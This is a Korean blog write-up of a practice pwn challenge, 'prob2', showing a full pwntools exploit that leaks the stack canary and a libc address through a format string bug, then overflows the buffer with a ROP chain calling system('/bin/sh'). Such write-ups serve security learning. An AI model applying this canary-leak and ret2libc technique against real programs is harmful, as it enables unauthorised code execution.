prob2
0.01MB

전 글과 같이 이번에도 포맷스트링 버그를 이용하여 쉘을 얻을것인데, 이번에는 canary 보호기법이 적용되어 있어 canary까지 유출해보도록 하겠습니다.

canary는 rsp+0x18에 위치하니 %(5+0x18/8+1)$p로 포맷스트링을 만들어주고, ret은 rbp+0x8인데 rbp는 rsp+0x20이기 때문에, rsp+0x28에 위치합니다. %(5+0x28/8+1)$p로 포맷스트링을 만들어서 전송해 주겠습니다.

 

계산해보면 "%9$p.%11$p"인데 중간에 .은 출력을 가져올 때 두 주소를 구분하기 위한 문자입니다. 총 10자로 scanf 에서 10자만 받으니 sendline으로 보내면 입력 버퍼에 개행만 남아 다음 read에서 그냥 넘어가기 때문에 send 로 보내주겠습니다.

payload = "%{}$p.%{}$p".format(str(5+(0x18/8)+1), str(5+(0x28/8)+1))

r.send(payload)

값을 받아오겠습니다.

canary = int(r.recvuntil(".")[:-1], 16)
print(hex(canary))
ret = int(r.recv(14), 16)
print(hex(ret))

ret 을 받아왔으니 libc base를 구해주고, system함수와 /bin/sh문자열을 가져오겠습니다.

_base = ret - 240 - libc.sym['__libc_start_main']
_system = _base + libc.sym['system']
_binsh = _base + libc.search("/bin/sh\x00").next()

그리고 이걸 이용하여 canary가 있는 위치 전까지 더미값으로 덮어씌우고, canary를 유출한 값으로 다시 덮어 씌우겠습니다. 그 다음 SFP 더미값으로 덮어 씌우고 RET을 system("/bin/sh")로 써주겠습니다.

payload = "A" * (0x18)
payload += p64(canary)
payload += "B" * 8
payload += p64(prdi)
payload += p64(_binsh)
payload += p64(_system)

r.sendline(payload)

그리고 실행하게 되면 쉘이 실행되게 됩니다.

from pwn import *

context.log_level = 'debug'

e = ELF('./prob2')
r = process('./prob2')
libc = e.libc

prdi = 0x0000000000400893

payload = "%{}$p.%{}$p".format(str(5+(0x18/8)+1), str(5+(0x28/8)+1))

r.send(payload)

canary = int(r.recvuntil(".")[:-1], 16)
print(hex(canary))
ret = int(r.recv(14), 16)
print(hex(ret))

_base = ret - 240 - libc.sym['__libc_start_main']
_system = _base + libc.sym['system']
_binsh = _base + libc.search("/bin/sh\x00").next()

payload = "A" * (0x18)
payload += p64(canary)
payload += "B" * 8
payload += p64(prdi)
payload += p64(_binsh)
payload += p64(_system)

r.sendline(payload)

r.interactive()
728x90

'해킹 > writeup' 카테고리의 다른 글

DefCoN#22 #3  (0) 2021.08.06
DefCoN#22 #2  (0) 2021.08.06
21. format string bug - prob1  (0) 2021.08.01
20. sung.pw - BaskinRobins31  (0) 2021.08.01
19. sung.pw - rop64_v2  (0) 2021.08.01

+ Recent posts